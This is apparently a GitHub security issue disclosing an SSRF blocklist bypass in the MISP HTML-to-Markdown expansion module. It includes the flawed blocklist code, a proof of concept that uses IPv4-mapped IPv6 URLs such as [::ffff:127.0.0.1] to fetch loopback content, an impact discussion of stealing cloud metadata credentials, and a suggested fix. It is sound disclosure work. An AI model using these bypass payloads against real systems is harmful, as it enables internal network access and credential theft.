Skip to content

SSRF protection bypass via IPv4-mapped IPv6 address literals in the HTML-to-Markdown expansion module #787

Description

@geo-chen

Summary

The "HTML to Markdown" MISP expansion module fetches the content of a url-type
attribute and converts it to Markdown for display to the analyst. It includes an
IP-address blocklist meant to prevent Server-Side Request Forgery against
loopback, RFC1918, link-local, and cloud metadata addresses. The blocklist check
only accounts for plain IPv4/IPv6 address forms; writing the exact same target
address as an IPv4-mapped IPv6 literal (e.g. http://[::ffff:127.0.0.1]/)
bypasses every entry in the blocklist simultaneously, because Python's
ipaddress module treats the mapped literal as a distinct IPv6Address object
that does not match any of the module's IPv4 ip_network ranges nor its single
IPv6 entry (::1/128).

Details

misp_modules/modules/expansion/html_to_markdown.py:

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("::1/128"),
]

def _is_ip_blocked(ip_str: str) -> bool:
    ip = ipaddress.ip_address(ip_str)
    return any(ip in net for net in BLOCKED_RANGES)

ipaddress.ip_address("::ffff:127.0.0.1") parses as an IPv6Address. Membership
tests (ip in net) between an IPv6 address and an IPv4 ip_network short-circuit
to False on version mismatch, and the one IPv6 entry present, ::1/128, is
loopback-only and does not match ::ffff:127.0.0.1 (or ::ffff:169.254.169.254,
::ffff:10.0.0.1, etc.). The result: _is_ip_blocked() returns False for
every IPv4-mapped IPv6 form of every address the module intends to block, and
fetchHTML() proceeds to fetch it:

def fetchHTML(url):
    if not is_safe_url(url):
        raise ValueError(f"Blocked URL: {url}")
    r = requests.get(url, timeout=10)
    return r.text

PoC

Confirmed on v3.0.8, using the module functions unmodified:

from html_to_markdown import is_safe_url, fetchHTML

is_safe_url('http://127.0.0.1/')               # False - blocked, as intended
is_safe_url('http://[::ffff:127.0.0.1]/')       # True  - BYPASS: identical target, "safe"

fetchHTML('http://[::ffff:127.0.0.1]/')         # actually fetches http://127.0.0.1/

Live test against a local HTTP server standing in for an internal-only
service:

$ python3 -m http.server 18888 --directory /tmp/internal_secret --bind 127.0.0.1 &

$ python3 -c "
from html_to_markdown import is_safe_url, fetchHTML
print(fetchHTML('http://[::ffff:127.0.0.1]:18888/'))
"
<html><body><h1>INTERNAL-ONLY-SECRET-DATA-credential=AKIA_FAKE_SECRET_12345</h1></body></html>

The blocked, loopback-restricted content was fetched and returned in full. The
same bracket-notation technique bypasses the 10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16, and 169.254.0.0/16 ranges identically, since none of them are
IPv6-aware either.

Impact

An authenticated MISP user who invokes the "HTML to Markdown" expansion module
against a url-type attribute they control (or, more concerning, a value that
arrived via MISP's federated event/attribute sync from another, possibly
adversarial or compromised, sharing partner and is later enriched by a
different, unwitting analyst) can make the misp-modules server issue an HTTP
request to any address, including loopback, all three RFC1918 private ranges,
and 169.254.169.254 - the standard cloud instance-metadata address on AWS/GCP/
Azure/OpenStack. Because misp-modules is commonly deployed alongside MISP core
in Docker/Kubernetes/cloud environments, this can be used to steal the
container's/instance's IAM credentials via the metadata service, or to reach
other internal-only services (databases, admin panels, other MISP-stack
containers) that the operator assumed were network-isolated from anything an
analyst-supplied indicator could touch. The fetched response is converted to
Markdown and returned directly to the requesting analyst, so the exfiltration is
immediate and requires no further steps.

Suggested fix: adopt the same validation approach already used by the project's
own qrcode.py module (ip_addr.is_private, .is_loopback, .is_reserved on
the address actually resolved via DNS), or, more robustly, normalize any address
to its canonical form before the blocklist check
(ipaddress.ip_address(x).ipv4_mapped or x, so an IPv4-mapped IPv6 literal is
converted to its underlying IPv4Address before comparison), and apply the same
guard consistently across every expansion module that fetches attacker-supplied
URLs. Also consider resolving the hostname once and passing the resolved IP
directly into the requests call (rather than re-resolving at fetch time) to
close the related DNS-rebinding TOCTOU class of bypass.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions